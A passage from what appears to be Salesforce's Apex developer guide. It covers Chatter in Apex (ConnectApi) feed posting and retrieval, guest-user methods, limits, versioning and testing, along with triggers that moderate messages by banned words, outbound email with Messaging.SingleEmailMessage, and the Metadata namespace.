ConnectApi.ContentAttachmentInput contentAttachmentInput = new
ConnectApi.ContentAttachmentInput();
ConnectApi.MessageBodyInput messageBodyInput = new ConnectApi.MessageBodyInput();
ConnectApi.TextSegmentInput textSegmentInput = new ConnectApi.TextSegmentInput();
contentAttachmentInput.contentDocumentId = '069D00000001pyS';
messageBodyInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();
textSegmentInput.text = 'Would you please review this doc?';
messageBodyInput.messageSegments.add(textSegmentInput);
feedItemInput.attachment = contentAttachmentInput;
feedItemInput.body = messageBodyInput;
feedItemInput.feedElementType = ConnectApi.FeedElementType.FeedItem;
// Use a group ID for the subject ID.
feedItemInput.subjectId = '0F9D00000000oOT';
ConnectApi.FeedElement feedElement = ConnectApi.ChatterFeeds.postFeedElement(null,
feedItemInput, null);
The parent property of the newly posted feed item contains the ConnectApi.ChatterGroupSummary of the specified
group.
Post to a record (such as a file or an account)
This code posts a feed item to a record and mentions a group. The subjectId specifies the record ID.
ConnectApi.FeedItemInput feedItemInput = new ConnectApi.FeedItemInput();
ConnectApi.MentionSegmentInput mentionSegmentInput = new ConnectApi.MentionSegmentInput();
ConnectApi.MessageBodyInput messageBodyInput = new ConnectApi.MessageBodyInput();
ConnectApi.TextSegmentInput textSegmentInput = new ConnectApi.TextSegmentInput();
messageBodyInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();
textSegmentInput.text = 'Does anyone know anyone with contacts here?';
messageBodyInput.messageSegments.add(textSegmentInput);
// Mention a group.
mentionSegmentInput.id = '0F9D00000000oOT';
messageBodyInput.messageSegments.add(mentionSegmentInput);
feedItemInput.body = messageBodyInput;
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feedItemInput.feedElementType = ConnectApi.FeedElementType.FeedItem;
// Use a record ID for the subject ID.
feedItemInput.subjectId = '001D000000JVwL9';
ConnectApi.FeedElement feedElement = ConnectApi.ChatterFeeds.postFeedElement(null,
feedItemInput, null);
The parent property of the new feed item depends on the record type specified in subjectId. If the record type is File, the
parent is ConnectApi.FileSummary. If the record type is Group, the parent is ConnectApi.ChatterGroupSummary.
If the record type is User, the parent is ConnectApi.UserSummary. For all other record types, as in this example which uses
an Account, the parent is ConnectApi.RecordSummary.
Get Feed Elements from a Feed
Tip: To return a feed that includes feed elements, call these methods. As of API version 31.0, the only feed element types are feed
item and bundle, but that could change in the future.
Getting feed items from a feed is similar, but not identical, for each feed type.
Get feed elements from the Company feed, the Home feed, and the Moderation feed
To get the feed elements from the company feed, the home feed, or the moderation feed, use these methods that don’t require a
subjectId:
• ConnectApi.ChatterFeeds.getFeedElementsFromFeed(String communityId,
ConnectApi.FeedType feedType)
• ConnectApi.ChatterFeeds.getFeedElementsFromFeed(String communityId,
ConnectApi.FeedType feedType, String pageParam, Integer pageSize,
ConnectApi.FeedSortOrder sortParam)
• ConnectApi.ChatterFeeds.getFeedElementsFromFeed(String communityId,
ConnectApi.FeedType feedType, Integer recentCommentCount, ConnectApi.FeedDensity
density, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam)
• ConnectApi.ChatterFeeds.getFeedElementsFromFeed(String communityId,
ConnectApi.FeedType feedType, Integer recentCommentCount, ConnectApi.FeedDensity
density, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam,
ConnectApi.FeedFilter filter)
Get feed elements from the Favorites feed
To get the feed elements from the favorites feed, specify a favoriteId. For these feeds, the subjectId must be the ID of
the context user or the alias me.
• ConnectApi.ChatterFavorites.getFeedElements(String communityId, String subjectId,
String favoriteId)
• ConnectApi.ChatterFavorites.getFeedElements(String communityId, String subjectId,
String favoriteId, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder
sortParam)
• ConnectApi.ChatterFavorites.getFeedElements(String communityId, String subjectId,
String favoriteId,Integer recentCommentCount, Integer elementsPerBundle, String
pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam)
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Get feed elements from the Filter feed
To get the feed elements from the filters feed, specify a keyPrefix. The keyPrefix indicates the object type and is the first
three characters of the object ID. The subjectId must be the ID of the context user or the alias me.
• ConnectApi.ChatterFeeds.getFeedElementsFromFilterFeed(String communityId, String
subjectId, String keyPrefix)
• ConnectApi.ChatterFeeds.getFeedElementsFromFilterFeed(String communityId, String
subjectId, String keyPrefix, String pageParam, Integer pageSize,
ConnectApi.FeedSortOrder sortOrder)
• ConnectApi.ChatterFeeds.getFeedElementsFromFilterFeed(String communityId, String
subjectId, String keyPrefix, Integer recentCommentCount, Integer elementsPerBundle,
ConnectApi.FeedDensity density, String pageParam, Integer pageSize,
ConnectApi.FeedSortOrder sortOrder)
Get feed elements from the Bookmarks, Files, Groups, Mute, News, People, Record, To, Topics, and
UserProfile feeds
To get the feed elements from these feed types, specify a subject ID. If feedType is Record, subjectId can be any record
ID, including a group ID. If feedType is Streams, subjectId must be a stream ID. If feedType is Topics, subjectId
must be a topic ID. If feedType is UserProfile, subjectId can be any user ID. If the feedType is any other value,
subjectId must be the ID of the context user or the alias me..
• ConnectApi.ChatterFeeds.getFeedElementsFromFeed(String communityId,
ConnectApi.FeedType feedType, String subjectId)
• ConnectApi.ChatterFeeds.getFeedElementsFromFeed(String communityId,
ConnectApi.FeedType feedType, String subjectId, String pageParam, Integer pageSize,
ConnectApi.FeedSortOrder sortParam)
• ConnectApi.ChatterFeeds.getFeedElementsFromFeed(String communityId,
ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount,
ConnectApi.FeedDensity density, String pageParam, Integer pageSize,
ConnectApi.FeedSortOrder sortParam)
Get feed elements from a Record feed
For subjectId, specify a record ID.
Tip: The record can be a record of any type that supports feeds, including group. The feed on the group page in the Salesforce
UI is a record feed.
• ConnectApi.ChatterFeeds.getFeedElementsFromFeed(String communityId,
ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount,
ConnectApi.FeedDensity density, String pageParam, Integer pageSize,
ConnectApi.FeedSortOrder sortParam. Boolean showInternalOnly)
• ConnectApi.ChatterFeeds.getFeedElementsFromFeed(String communityId,
ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount, Integer
elementsPerBundle, ConnectApi.FeedDensity density, String pageParam, Integer
pageSize, ConnectApi.FeedSortOrder sortParam. Boolean showInternalOnly)
• ConnectApi.ChatterFeeds.getFeedElementsFromFeed(String communityId,
ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount, Integer
elementsPerBundle, ConnectApi.FeedDensity density, String pageParam, Integer
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pageSize, ConnectApi.FeedSortOrder sortParam. Boolean showInternalOnly,
ConnectApi.FeedFilter filter)
SEE ALSO:
ChatterFavorites Class
ChatterFeeds Class
ConnectApi Output Classes
ConnectApi Input Classes
Accessing ConnectApi Data in Communities and Portals
Most ConnectApi methods work within the context of a single community.
Many ConnectApi methods include communityId as the first argument. If you do not have communities enabled, use
'internal' or null for this argument.
If you have communities enabled, the communityId argument specifies whether to execute a method in the context of the default
community (by specifying 'internal' or null) or in the context of a specific community (by specifying a community ID). Any
entity, such as a comment or a feed item, referred to by other arguments in the method must be located in the specified community.
The specified community ID is used in all URLs returned in the output.
To access the data in a partner portal or a Customer Portal, use a community ID for the communityId argument. You cannot use
'internal' or null.
Most URLs returned in ConnectApi output objects are Chatter REST API resources.
If you specify a community ID, URLs returned in the output use the following format:
/connect/communities/communityId/resource
If you specify 'internal', URLs returned in the output use the same format:
/connect/communities/internal/resource
If you specify null, URLs returned in the output use one of these formats:
/chatter/resource
/connect/resource
Methods Available to Communities Guest Users
If your community allows access without logging in, guest users have access to many Apex methods. These methods return information
the guest user has access to.
If your community allows access without logging in, all overloads of these methods are available to guest users.
Important: If an overload of a method listed here indicates that Chatter is required, you must also select Give access to public
API requests on Chatter in your community preferences to make the method available to guest users. If this option isn’t selected,
data retrieved by methods that require Chatter doesn’t load correctly on public community pages.
• Announcements methods:
– getAnnouncements()
• ChatterFeeds methods:
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– getComment()
– getCommentsForFeedElement()
– getExtensions()
– getFeed()
– getFeedElement()
– getFeedElementBatch()
– getFeedElementPoll()
– getFeedElementsFromFeed()
– getFeedElementsUpdatedSince()
– getFeedWithFeedElements()
– getLike()
– getLikesForComment()
– getLikesForFeedElement()
– getRelatedPosts()
– searchFeedElements()
– searchFeedElementsInFeed()
Important: These ChatterFeeds feed item methods are available to guest users only in version 31.0. In version 32.0 and
later, the ChatterFeeds feed element methods are available to guest users.
– getCommentsForFeedItem()
– getFeedItem()
– getFeedItemBatch()
– getFeedItemsFromFeed()
– getFeedItemsUpdatedSince()
– getLikesForFeedItem()
– searchFeedItems()
– searchFeedItemsInFeed()
• ChatterGroups methods:
– getGroup()
– getGroups()
– getMembers()
– searchGroups()
• ChatterUsers methods:
– getFollowers()
– getFollowings()
– getGroups()
– getPhoto()
– getReputation()
– getUser()
– getUserBatch()
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– getUsers()
– searchUserGroups()
– searchUsers()
• Communities methods:
– getCommunity()
• Knowledge methods:
– getTopViewedArticlesForTopic()
– getTrendingArticles()
– getTrendingArticlesForTopic()
• ManagedTopics methods:
– getManagedTopic()
– getManagedTopics()
• Recommendations methods:
– getRecommendationsForUsers()
Note: Only article and file recommendations are available to guest users.
• Topics methods:
– getGroupsRecentlyTalkingAboutTopic()
– getRecentlyTalkingAboutTopicsForGroup()
– getRecentlyTalkingAboutTopicsForUser()
– getRelatedTopics()
– getTopic()
– getTopics()
– getTrendingTopics()
• UserProfiles methods:
– getPhoto()
• Zones methods:
– searchInZone()
SEE ALSO:
https://help.salesforce.com/HTViewHelpDoc?id=networks_public_access.htm&language=en_US
Using ConnectApi Input and Output Classes
Some classes in the ConnectApi namespace contain static methods that access Chatter REST API data. The ConnectApi namespace
also contains input classes to pass as parameters and output classes that calls to the static methods return.
ConnectApi methods take either simple or complex types. Simple types are primitive Apex data like integers and strings. Complex
types are ConnectApi input objects.
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The successful execution of a ConnectApi method can return an output object from the ConnectApi namespace. ConnectApi
output objects can be made up of other output objects. For example, the ConnectApi.ActorWithId output object contains
properties such as id and url, which contain primitive data types. It also contains a mySubscription property, which contains
a ConnectApi.Reference object.
Note: All Salesforce IDs in ConnectApi output objects are 18 character IDs. Input objects can use 15 character IDs or 18
character IDs.
SEE ALSO:
ConnectApi Input Classes
ConnectApi Output Classes
Understanding Limits for ConnectApi Classes
Limits for methods in the ConnectApi namespace are different than the limits for other Apex classes.
For classes in the ConnectApi namespace, every write operation costs one DML statement against the Apex governor limit.
ConnectApi method calls are also subject to rate limiting. ConnectApi rate limits match Chatter REST API rate limits. Both have
a per user, per namespace, per hour rate limit. When you exceed the rate limit, a ConnectApi.RateLimitException is thrown.
Your Apex code must catch and handle this exception.
When testing code, a call to the Apex Test.startTest method starts a new rate limit count. A call to the Test.stopTest
method sets your rate limit count to the value it was before you called Test.startTest.
Serializing and Deserializing ConnectApi Objects
When ConnectApi output objects are serialized into JSON, the structure is similar to the JSON returned from Chatter REST API. When
ConnectApi input objects are deserialized from JSON, the format is also similar to Chatter REST API.
Chatter in Apex supports serialization and deserialization in the following Apex contexts:
• JSON and JSONParser classes—serialize Chatter in Apex outputs to JSON and deserialize Chatter in Apex inputs from JSON.
• Apex REST with @RestResource—serialize Chatter in Apex outputs to JSON as return values and deserialize Chatter in Apex
inputs from JSON as parameters.
• JavaScript Remoting with @RemoteAction—serialize Chatter in Apex outputs to JSON as return values and deserialize Chatter
in Apex inputs from JSON as parameters.
Chatter in Apex follows these rules for serialization and deserialization:
• Only output objects can be serialized.
• Only top-level input objects can be deserialized.
• Enum values and exceptions cannot be serialized or deserialized.
ConnectApi Versioning and Equality Checking
Versioning in ConnectApi classes follows specific rules that are different than the rules for other Apex classes.
Versioning for ConnectApi classes follows these rules:
• A ConnectApi method call executes in the context of the version of the class that contains the method call. The use of version
is analogous to the /vXX.X section of a Chatter REST API URL.
• Each ConnectApi output object exposes a getBuildVersion method. This method returns the version under which the
method that created the output object was invoked.
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• When interacting with input objects, Apex can access only properties supported by the version of the enclosing Apex class.
• Input objects passed to a ConnectApi method may contain only non-null properties that are supported by the version of the
Apex class executing the method. If the input object contains version-inappropriate properties, an exception is thrown.
• The output of the toString method only returns properties that are supported in the version of the code interacting with the
object. For output objects, the returned properties must also be supported in the build version.
• Apex REST, JSON.serialize, and @RemoteAction serialization include only version-appropriate properties.
• Apex REST, JSON.deserialize, and @RemoteAction deserialization reject properties that are version-inappropriate.
• Enums are not versioned. Enum values are returned in all API versions. Clients should handle values they don't understand gracefully.
Equality checking for ConnectApi classes follows these rules:
• Input objects—properties are compared.
• Output objects—properties and build versions are compared. For example, if two objects have the same properties with the same
values but have different build versions, the objects are not equal. To get the build version, call getBuildVersion.
Casting ConnectApi Objects
It may be useful to downcast some ConnectApi output objects to a more specific type.
This technique is especially useful for message segments, feed item capabilities, and record fields. Message segments in a feed item are
typed as ConnectApi.MessageSegment. Feed item capabilities are typed as ConnectApi.FeedItemCapability.
Record fields are typed as ConnectApi.AbstractRecordField. These classes are all abstract and have several concrete
subclasses. At runtime you can use instanceof to check the concrete types of these objects and then safely proceed with the
corresponding downcast. When you downcast, you must have a default case that handles unknown subclasses.
The following example downcasts a ConnectApi.MessageSegment to a ConnectApi.MentionSegment:
if(segment instanceof ConnectApi.MentionSegment) {
ConnectApi.MentionSegment = (ConnectApi.MentionSegment)segment;
}
Important: The composition of a feed may change between releases. Your code should always be prepared to handle instances
of unknown subclasses.
SEE ALSO:
ChatterFeeds Class
ConnectApi.FeedElementCapabilities Class
ConnectApi.MessageSegment Class
ConnectApi.AbstractRecordView Class
Wildcards
Use wildcard characters to match text patterns in Chatter REST API and Chatter in Apex searches.
A common use for wildcards is searching a feed. Pass a search string and wildcards in the q parameter. This example is a Chatter REST
API request:
/chatter/feed-elements?q=chat*
This example is a Chatter in Apex method call:
ConnectApi.ChatterFeeds.searchFeedElements(null, 'chat*');
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You can specify the following wildcard characters to match text patterns in your search:
Wildcard
Description
*
Asterisks match zero or more characters at the middle or end of your search term. For example, a search for john*
finds items that start with john, such as, john, johnson, or johnny. A search for mi* meyers finds items with mike
meyers or michael meyers.
If you are searching for a literal asterisk in a word or phrase, then escape the asterisk (precede it with the \ character).
?
Question marks match only one character in the middle or end of your search term. For example, a search for jo?n
finds items with the term john or joan but not jon or johan. You can't use a ? in a lookup search.
When using wildcards, consider the following notes:
• The more focused your wildcard search, the faster the search results are returned, and the more likely the results will reflect your
intention. For example, to search for all occurrences of the word prospect (or prospects, the plural form), it is more efficient
to specify prospect* in the search string than to specify a less restrictive wildcard search (such as prosp*) that could return
extraneous matches (such as prosperity).
• Tailor your searches to find all variations of a word. For example, to find property and properties, you would specify
propert*.
• Punctuation is indexed. To find * or ? inside a phrase, you must enclose your search string in quotation marks and you must escape
the special character. For example, "where are you\?" finds the phrase where are you?. The escape character (\) is
required in order for this search to work correctly.
Testing ConnectApi Code
Like all Apex code, Chatter in Apex code requires test coverage.
Chatter in Apex methods don’t run in system mode, they run in the context of the current user (also called the context user). The methods
have access to whatever the context user has access to. Chatter in Apex doesn’t support the runAs system method.
Most Chatter in Apex methods require access to real organization data, and fail unless used in test methods marked
@IsTest(SeeAllData=true).
However, some Chatter in Apex methods, such as getFeedElementsFromFeed, are not permitted to access organization data
in tests and must be used with special test methods that register outputs to be returned in a test context. If a method requires a setTest
method, the requirement is stated in the method’s “Usage” section.
A test method name is the regular method name with a setTest prefix. The test method signature (combination of parameters)
matches a signature of the regular method. For example, if the regular method has three overloads, the test method has three overloads.
Using Chatter in Apex test methods is similar to testing web services in Apex. First, build the data you expect the method to return. To
build data, create output objects and set their properties. To create objects, you can use no-argument constructors for any non-abstract
output classes.
After you build the data, call the test method to register the data. Call the test method that has the same signature as the regular method
you’re testing.
After you register the test data, run the regular method. When you run the regular method, the registered data is returned.
Important: Use the test method signature that matches the regular method signature. If data wasn't registered with the matching
set of parameters when you call the regular method, you receive an exception.
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This example shows a test that constructs an ConnectApi.FeedElementPage and registers it to be returned when
getFeedElementsFromFeed is called with a particular combination of parameters.
global class NewsFeedClass {
global static Integer getNewsFeedCount() {
ConnectApi.FeedElementPage elements =
ConnectApi.ChatterFeeds.getFeedElementsFromFeed(null,
ConnectApi.FeedType.News, 'me');
return elements.elements.size();
}
}
@isTest
private class NewsFeedClassTest {
@IsTest
static void doTest() {
// Build a simple feed item
ConnectApi.FeedElementPage testPage = new ConnectApi.FeedElementPage();
List<ConnectApi.FeedItem> testItemList = new List<ConnectApi.FeedItem>();
testItemList.add(new ConnectApi.FeedItem());
testItemList.add(new ConnectApi.FeedItem());
testPage.elements = testItemList;
// Set the test data
ConnectApi.ChatterFeeds.setTestGetFeedElementsFromFeed(null,
ConnectApi.FeedType.News, 'me', testPage);
// The method returns the test page, which we know has two items in it.
Test.startTest();
System.assertEquals(2, NewsFeedClass.getNewsFeedCount());
Test.stopTest();
}
}
Differences Between ConnectApi Classes and Other Apex Classes
Note these additional differences between ConnectApi classes and other Apex classes.
System mode and context user
Chatter in Apex methods don’t run in system mode, they run in the context of the current user (also called the context user). The
methods have access to whatever the context user has access to. Chatter in Apex doesn’t support the runAs system method.
When a method takes a subjectId argument, often that subject must be the context user. In these cases, you can use the string
me to specify the context user instead of an ID.
with sharing and without sharing
Chatter in Apex ignores the with sharing and without sharing keywords. Instead, the context user controls all security,
field level sharing, and visibility. For example, if the context user is a member of a private group, ConnectApi classes can post
to that group. If the context user is not a member of a private group, the code can’t see the feed items for that group and can’t post
to the group.
Asynchronous operations
Some Chatter in Apex operations are asynchronous, that is, they don’t occur immediately. For example, if your code adds a feed
item for a user, it isn’t immediately available in the news feed. Another example: when you add a photo, it’s not available immediately.
For testing, if you add a photo, you can’t retrieve it immediately.
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No XML support in Apex REST
Apex REST doesn’t support XML serialization and deserialization of Chatter in Apex objects. Apex REST does support JSON serialization
and deserialization of Chatter in Apex objects.
Empty log entries
Information about Chatter in Apex objects doesn’t appear in VARIABLE_ASSIGNMENT log events.
No Apex SOAP web services support
Chatter in Apex objects can’t be used in Apex SOAP web services indicated with the keyword webservice.
Moderate Chatter Private Messages with Triggers
Write a trigger for ChatterMessage to automate the moderation of private messages in an
organization or community. Use triggers to ensure that messages conform to your company’s
messaging policies and don’t contain blacklisted words.
Write an Apex before insert trigger to review the private message body and information about the
sender. You can add validation messages to the record or the Body field, which causes the message
to fail and an error to be returned to the user.
Although you can create an after insert trigger, ChatterMessage is not updatable, and consequently
any after insert trigger that modifies ChatterMessage will fail at run time with an appropriate error
message.
To create a trigger for private messages from Setup, enter ChatterMessage Triggers in
the Quick Find box, then select ChatterMessage Triggers. Alternatively, you can create a
trigger from the Developer Console by clicking File > New > Apex Trigger and selecting
ChatterMessage from the sObject drop-down list.
EDITIONS
Available in: Salesforce
Classic
Available in: Enterprise,
Performance, Unlimited,
and Developer Editions
USER PERMISSIONS
To save Apex triggers for
ChatterMessage:
• Author Apex
AND
This table lists the fields that are exposed on ChatterMessage.
Table 3: Available Fields in ChatterMessage
Field
Apex Data Type
Description
Id
ID
Unique identifier for the Chatter message
Body
String
Body of the Chatter message as posted by the
sender
SenderId
ID
User ID of the sender
SentDate
DateTime
Date and time that the message was sent
SendingNetworkId
ID
Network (Community) in which the message
was sent.
This field is visible only if communities are
enabled and Private Messages are enabled in
at least one community.
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This example shows a before insert trigger on ChatterMessage that is used to review each new message. This trigger calls a class method,
moderator.review(), to review each new message before it is inserted.
trigger PrivateMessageModerationTrigger on ChatterMessage (before insert) {
ChatterMessage[] messages = Trigger.new;
// Instantiate the Message Moderator using the factory method
MessageModerator moderator = MessageModerator.getInstance();
for (ChatterMessage currentMessage : messages) {
moderator.review(currentMessage);
}
}
If a message violates your policy, for example when the message body contains blacklisted words, you can prevent the message from
being sent by calling the Apex addError method. You can call addError to add a custom error message on a field or on the
entire message. The following snippet shows a portion of the reviewContent method that adds an error to the message Body
field.
if (proposedMsg.contains(nextBlackListedWord)) {
theMessage.Body.addError(
'This message does not conform to the acceptable use policy');
System.debug('moderation flagged message with word: '
+ nextBlackListedWord);
problemsFound=true;
break;
}
The following is the full MessageModerator class, which contains methods for reviewing the sender and the content of messages.
Part of the code in this class has been deleted for brevity.
public class MessageModerator {
private Static List<String> blacklistedWords=null;
private Static MessageModerator instance=null;
/**
Overall review includes checking the content of the message,
and validating that the sender is allowed to send messages.
**/
public void review(ChatterMessage theMessage) {
reviewContent(theMessage);
reviewSender(theMessage);
}
/**
This method is used to review the content of the message. If the content
is unacceptable, field level error(s) are added.
**/
public void reviewContent(ChatterMessage theMessage) {
// Forcing to lower case for matching
String proposedMsg=theMessage.Body.toLowerCase();
boolean problemsFound=false; // Assume it's acceptable
// Iterate through the blacklist looking for matches
for (String nextBlackListedWord : blacklistedWords) {
if (proposedMsg.contains(nextBlackListedWord)) {
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theMessage.Body.addError(
'This message does not conform to the acceptable use policy');
System.debug('moderation flagged message with word: '
+ nextBlackListedWord);
problemsFound=true;
break;
}
}
// For demo purposes, we're going to add a "seal of approval" to the
// message body which is visible.
if (!problemsFound) {
theMessage.Body = theMessage.Body +
' *** approved, meets conduct guidelines';
}
}
/**
Is
----
the sender allowed to send messages in this context?
Moderators -- always allowed to send
Internal Members -- always allowed to send
Community Members -- in general only allowed to send if they have
a sufficient Reputation
-- Community Members -- with insufficient reputation may message the
moderator(s)
**/
public void reviewSender(ChatterMessage theMessage) {
// Are we in a Community Context?
boolean isCommunityContext = (theMessage.SendingNetworkId != null);
// Get the User
User sendingUser = [SELECT Id, Name, UserType, IsPortalEnabled
FROM User where Id = :theMessage.SenderId ];
// ...
}
/**
Enforce a singleton pattern to improve performance
**/
public static MessageModerator getInstance() {
if (instance==null) {
instance = new MessageModerator();
}
return instance;
}
/**
Default contructor is private to prevent others from instantiating this class
without using the factory.
Initializes the static members.
**/
private MessageModerator() {
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initializeBlackList();
}
/**
Helper method that does the "heavy lifting" to load up the dictionaries
from the database.
Should only run once to initialize the static member which is used for
subsequent validations.
**/
private void initializeBlackList() {
if (blacklistedWords==null) {
// Fill list of blacklisted words
// ...
}
}
}
Moderate Feed Items with Triggers
Write a trigger for FeedItem to automate the moderation of posts in an organization or community.
Use triggers to ensure that posts conform to your company’s communication policies and don’t
contain unwanted words or phrases.
Write an Apex before insert trigger to review the feed item body and change the status of the feed
item if it contains a blacklisted phrase. To create a trigger for feed items from Setup, enter
FeedItem Triggers in the Quick Find box, then select FeedItem Triggers. Alternatively,
you can create a trigger from the Developer Console by clicking File > New > Apex Trigger and
selecting FeedItem from the sObject drop-down list.
This example shows a before insert trigger on FeedItem that is used to review each new post. If the
post contains the unwanted phrase, the trigger also sets the status of the post to
PendingReview.
EDITIONS
Available in: Enterprise,
Performance, Unlimited,
and Developer Editions
USER PERMISSIONS
To save Apex triggers for
FeedItem:
• Author Apex
trigger ReviewFeedItem on FeedItem (before insert) {
for (Integer i = 0; i<trigger.new.size(); i++) {
// We don't want to leak "test phrase" information.
if (trigger.new[i].body.containsIgnoreCase('test phrase')) {
trigger.new[i].status = 'PendingReview';
System.debug('caught one for pendingReview');
}
}
}
Communities
Communities are branded spaces for your employees, customers, and partners to connect. You can customize and create communities
to meet your business needs, then transition seamlessly between them.
Communities are branded spaces for your employees, customers, and partners to connect. You can interact with communities in Apex
using the Network class and using Chatter in Apex classes in the ConnectApi namespace.
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Chatter in Apex has a ConnectApi.Communities class with methods that return information about communities. Also, most
Chatter in Apex methods take a communityId argument.
SEE ALSO:
Network Class
ConnectApi Namespace
Email
You can use Apex to work with inbound and outbound email.
Use Apex with these email features:
IN THIS SECTION:
Inbound Email
Use Apex to work with email sent to Salesforce.
Outbound Email
Use Apex to work with email sent from Salesforce.
Inbound Email
Use Apex to work with email sent to Salesforce.
You can use Apex to receive and process email and attachments. The email is received by the Apex email service, and processed by
Apex classes that utilize the InboundEmail object.
Note: The Apex email service is only available in Developer, Enterprise, Unlimited, and Performance Edition organizations.
See Apex Email Service.
Outbound Email
Use Apex to work with email sent from Salesforce.
You can use Apex to send individual and mass email. The email can include all standard email attributes (such as subject line and blind
carbon copy address), use Salesforce email templates, and be in plain text or HTML format, or those generated by Visualforce.
Note: Visualforce email templates cannot be used for mass email.
You can use Salesforce to track the status of email in HTML format, including the date the email was sent, first opened and last opened,
and the total number of times it was opened.
To send individual and mass email with Apex, use the following classes:
SingleEmailMessage
Instantiates an email object used for sending a single email message. The syntax is:
Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage();
MassEmailMessage
Instantiates an email object used for sending a mass email message. The syntax is:
Messaging.MassEmailMessage mail = new Messaging.MassEmailMessage();
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Messaging
Includes the static sendEmail method, which sends the email objects you instantiate with either the SingleEmailMessage
or MassEmailMessage classes, and returns a SendEmailResult object.
The syntax for sending an email is:
Messaging.sendEmail(new Messaging.Email[] { mail } , opt_allOrNone);
where Email is either Messaging.SingleEmailMessage or Messaging.MassEmailMessage.
The optional opt_allOrNone parameter specifies whether sendEmail prevents delivery of all other messages when any of
the messages fail due to an error (true), or whether it allows delivery of the messages that don't have errors (false). The default
is true.
Includes the static reserveMassEmailCapacity and reserveSingleEmailCapacity methods, which can be
called before sending any emails to ensure that the sending organization won't exceed its daily email limit when the transaction is
committed and emails are sent. The syntax is:
Messaging.reserveMassEmailCapacity(count);
and
Messaging.reserveSingleEmailCapacity(count);
where count indicates the total number of addresses that emails will be sent to.
Note the following:
• The email is not sent until the Apex transaction is committed.
• The email address of the user calling the sendEmail method is inserted in the From Address field of the email header. All
email that is returned, bounced, or received out-of-office replies goes to the user calling the method.
• Maximum of 10 sendEmail methods per transaction. Use the Limits methods to verify the number of sendEmail methods
in a transaction.
• Single email messages sent with the sendEmail method count against the sending organization's daily single email limit. When
this limit is reached, calls to the sendEmail method using SingleEmailMessage are rejected, and the user receives a
SINGLE_EMAIL_LIMIT_EXCEEDED error code. However, single emails sent through the application are allowed.
• Mass email messages sent with the sendEmail method count against the sending organization's daily mass email limit. When
this limit is reached, calls to the sendEmail method using MassEmailMessage are rejected, and the user receives a
MASS_MAIL_LIMIT_EXCEEDED error code.
• Any error returned in the SendEmailResult object indicates that no email was sent.
Messaging.SingleEmailMessage has a method called setOrgWideEmailAddressId. It accepts an object ID to an
OrgWideEmailAddress object. If setOrgWideEmailAddressId is passed a valid ID, the
OrgWideEmailAddress.DisplayName field is used in the email header, instead of the logged-in user's Display Name.
The sending email address in the header is also set to the field defined in OrgWideEmailAddress.Address.
Note: If both OrgWideEmailAddress.DisplayName and setSenderDisplayName are defined, the user receives
a DUPLICATE_SENDER_DISPLAY_NAME error.
For more information, see Organization-Wide Email Addresses in the Salesforce online help.
Example
// First, reserve email capacity for the current Apex transaction to ensure
// that we won't exceed our daily email limits when sending email after
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// the current transaction is committed.
Messaging.reserveSingleEmailCapacity(2);
// Processes and actions involved in the Apex transaction occur next,
// which conclude with sending a single email.
// Now create a new single email message object
// that will send out a single email to the addresses in the To, CC & BCC list.
Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage();
// Strings to hold the email addresses to which you are sending the email.
String[] toAddresses = new String[] {'user@acme.com'};
String[] ccAddresses = new String[] {'smith@gmail.com'};
// Assign the addresses for the To and CC lists to the mail object.
mail.setToAddresses(toAddresses);
mail.setCcAddresses(ccAddresses);
// Specify the address used when the recipients reply to the email.
mail.setReplyTo('support@acme.com');
// Specify the name used as the display name.
mail.setSenderDisplayName('Salesforce Support');
// Specify the subject line for your email address.
mail.setSubject('New Case Created : ' + case.Id);
// Set to True if you want to BCC yourself on the email.
mail.setBccSender(false);
// Optionally append the salesforce.com email signature to the email.
// The email address of the user executing the Apex Code will be used.
mail.setUseSignature(false);
// Specify the text content of the email.
mail.setPlainTextBody('Your Case: ' + case.Id +' has been created.');
mail.setHtmlBody('Your case:<b> ' + case.Id +' </b>has been created.<p>'+
'To view your case <a href=https://yourInstance.salesforce.com/'+case.Id+'>click
here.</a>');
// Send the email you have created.
Messaging.sendEmail(new Messaging.SingleEmailMessage[] { mail });
Metadata
Salesforce uses metadata types and components to represent org configuration and customization. Metadata is used for org settings
that admins control, or configuration information applied by installed apps and packages.
Use the classes in the Metadata namespace to access metadata from within Apex code for tasks that include:
• Customizing app installs or upgrades—During or after an install (or upgrade), your app can create or update metadata to let users
configure your app.
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• Customizing apps after installation—After your app is installed, you can use metadata in Apex to let admins configure your app
using the UI that your app provides rather than having admins manually use the standard Salesforce setup UI.
• Securely accessing protected metadata—Update metadata that your app uses internally without exposing these types and components
to your users.
• Creating custom configuration tools—Use metadata in Apex to provide custom tools for admins to customize apps and packages.
Metadata access in Apex is available for Apex classes using API version 40.0 and later.
For more information on metadata types and components, see the Metadata API Developer Guide and the Custom Metadata Types
Implementation Guide.
IN THIS SECTION:
Retrieving and Deploying Metadata
Retrieve and deploy metadata using the Metadata.Operations class.
Supported Metadata Types
Apex supports a subset of metadata types and components.
Security Considerations
Be aware of security considerations when accessing metadata using Apex.
Testing Metadata Deployments
Apex code that accesses metadata must be properly tested.
SEE ALSO:
Metadata Namespace
Retrieving and Deploying Metadata
Retrieve and deploy metadata using the Metadata.Operations class.
Use the Metadata.Operations.retrieve() method to synchronously retrieve metadata from the current org. Provide a list
of metadata component names that you want to retrieve. Salesforce returns a list of matching component data, represented by component
classes that derive from Metadata.Metadata.
Use the Metadata.Operations.enqueueDeployment() method to asynchronously deploy metadata to the current org.
Deployment is queued for asynchronous processing. When deploying metadata, you can create and update components, but not delete
components. There are limitations on which components that apps and packages can deploy and which types of apps and packages
can deploy to which types of orgs. For more information see Security Considerations.
Use the full name of the metadata component when retrieving and deploying metadata. The full name may include the namespace,
metadata type, and component name. If you’re updating components in a namespace, you also need to qualify the namespace for the
component in the full name. For example, the full name for a custom metadata "MDType1__mdt" component named "Component1"
that is contained in the "myPackage" namespace is "myPackage__MDType1__mdt.myPackage__Component1". For more information
on the metadata component full name syntax, see Metadata base type in the Metadata API Developer Guide.
